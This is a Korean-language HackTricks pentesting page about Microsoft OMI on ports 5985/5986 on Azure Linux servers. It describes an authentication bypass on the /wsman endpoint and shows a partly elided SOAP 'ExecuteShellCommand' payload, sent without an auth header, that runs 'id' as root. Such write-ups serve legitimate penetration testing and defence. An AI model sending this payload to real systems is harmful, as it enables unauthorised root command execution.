5985,5986 - Pentesting OMI

Support HackTricks

기본 정보

OMI는 Microsoft에서 원격 구성 관리를 위해 설계된 오픈 소스 도구로 제공됩니다. 이는 Azure에서 다음과 같은 서비스를 사용하는 Linux 서버와 특히 관련이 있습니다:

  • Azure Automation

  • Azure Automatic Update

  • Azure Operations Management Suite

  • Azure Log Analytics

  • Azure Configuration Management

  • Azure Diagnostics

이 서비스가 활성화되면 omiengine 프로세스가 시작되어 루트로 모든 인터페이스에서 수신 대기합니다.

사용되는 기본 포트5985 (http) 및 5986 (https)입니다.

9월 16일에 관찰된 바와 같이, 언급된 서비스가 배포된 Azure의 Linux 서버는 취약한 OMI 버전으로 인해 취약합니다. 이 취약점은 OMI 서버가 /wsman 엔드포인트를 통해 메시지를 처리할 때 인증 헤더를 요구하지 않아 클라이언트를 잘못 인증하는 데 있습니다.

공격자는 인증 헤더 없이 "ExecuteShellCommand" SOAP 페이로드를 전송하여 서버가 루트 권한으로 명령을 실행하도록 강제할 수 있습니다.

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
...
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>id</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>

CVE에 대한 자세한 정보는 **여기**를 확인하세요.

참고자료

HackTricks 지원하기

Last updated